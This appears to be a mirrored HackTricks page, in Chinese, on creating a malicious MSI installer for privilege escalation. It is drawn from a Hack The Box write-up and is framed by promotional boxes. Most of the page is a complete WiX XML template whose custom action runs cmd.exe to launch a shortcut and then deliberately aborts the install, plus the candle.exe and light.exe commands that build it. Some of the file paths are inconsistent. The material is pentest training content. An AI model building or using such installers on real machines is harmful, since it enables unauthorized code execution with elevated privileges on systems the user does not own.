mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
84 lines
5.1 KiB
Markdown
84 lines
5.1 KiB
Markdown
<details>
|
||
|
||
<summary><strong>从零到英雄学习AWS黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||
|
||
支持HackTricks的其他方式:
|
||
|
||
* 如果您想在 **HackTricks中看到您的公司广告** 或 **下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||
|
||
</details>
|
||
|
||
# 创建恶意MSI并获取Root权限
|
||
|
||
使用wixtools创建MSI安装程序,具体来说将使用 [wixtools](http://wixtoolset.org)。值得一提的是,尝试了其他MSI构建器,但在这个特定案例中它们没有成功。
|
||
|
||
为了全面了解wix MSI的使用示例,建议参考[此页面](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with)。在这里,您可以找到各种示例,展示了wix MSI的使用方法。
|
||
|
||
目标是生成一个将执行lnk文件的MSI。为了实现这一点,可以使用以下XML代码([此处的xml](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root)):
|
||
```markup
|
||
<?xml version="1.0"?>
|
||
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
|
||
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
|
||
Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
|
||
<Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
|
||
<Media Id="1" Cabinet="product.cab" EmbedCab="yes"/>
|
||
<Directory Id="TARGETDIR" Name="SourceDir">
|
||
<Directory Id="ProgramFilesFolder">
|
||
<Directory Id="INSTALLLOCATION" Name="Example">
|
||
<Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">
|
||
</Component>
|
||
</Directory>
|
||
</Directory>
|
||
</Directory>
|
||
<Feature Id="DefaultFeature" Level="1">
|
||
<ComponentRef Id="ApplicationFiles"/>
|
||
</Feature>
|
||
<Property Id="cmdline">cmd.exe /C "c:\users\public\desktop\shortcuts\rick.lnk"</Property>
|
||
<CustomAction Id="Stage1" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore"
|
||
Impersonate="yes"/>
|
||
<CustomAction Id="Stage2" Execute="deferred" Script="vbscript" Return="check">
|
||
fail_here
|
||
</CustomAction>
|
||
<InstallExecuteSequence>
|
||
<Custom Action="Stage1" After="InstallInitialize"></Custom>
|
||
<Custom Action="Stage2" Before="InstallFiles"></Custom>
|
||
</InstallExecuteSequence>
|
||
</Product>
|
||
</Wix>
|
||
```
|
||
```markdown
|
||
需要注意的是,Package 元素包含了如 InstallerVersion 和 Compressed 等属性,分别指定了安装程序的版本以及包是否被压缩。
|
||
|
||
创建过程涉及使用 wixtools 中的工具 candle.exe,从 msi.xml 生成 wixobject。应执行以下命令:
|
||
```
|
||
```
|
||
candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml
|
||
```
|
||
此外,值得一提的是,帖子中提供了一张图片,展示了命令及其输出。您可以参考它以获得视觉指导。
|
||
|
||
此外,将使用来自wixtools的另一个工具light.exe,从wixobject创建MSI文件。要执行的命令如下:
|
||
```
|
||
light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix
|
||
```
|
||
# 参考资料
|
||
* [https://0xrick.github.io/hack-the-box/ethereal/#创建恶意msi并获取root](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root)
|
||
* [https://www.codeproject.com/Tips/105638/快速入门:使用WiX创建MSI安装程序](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with)
|
||
[wixtools](http://wixtoolset.org)
|
||
|
||
<details>
|
||
|
||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
支持HackTricks的其他方式:
|
||
|
||
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||
|
||
</details>
|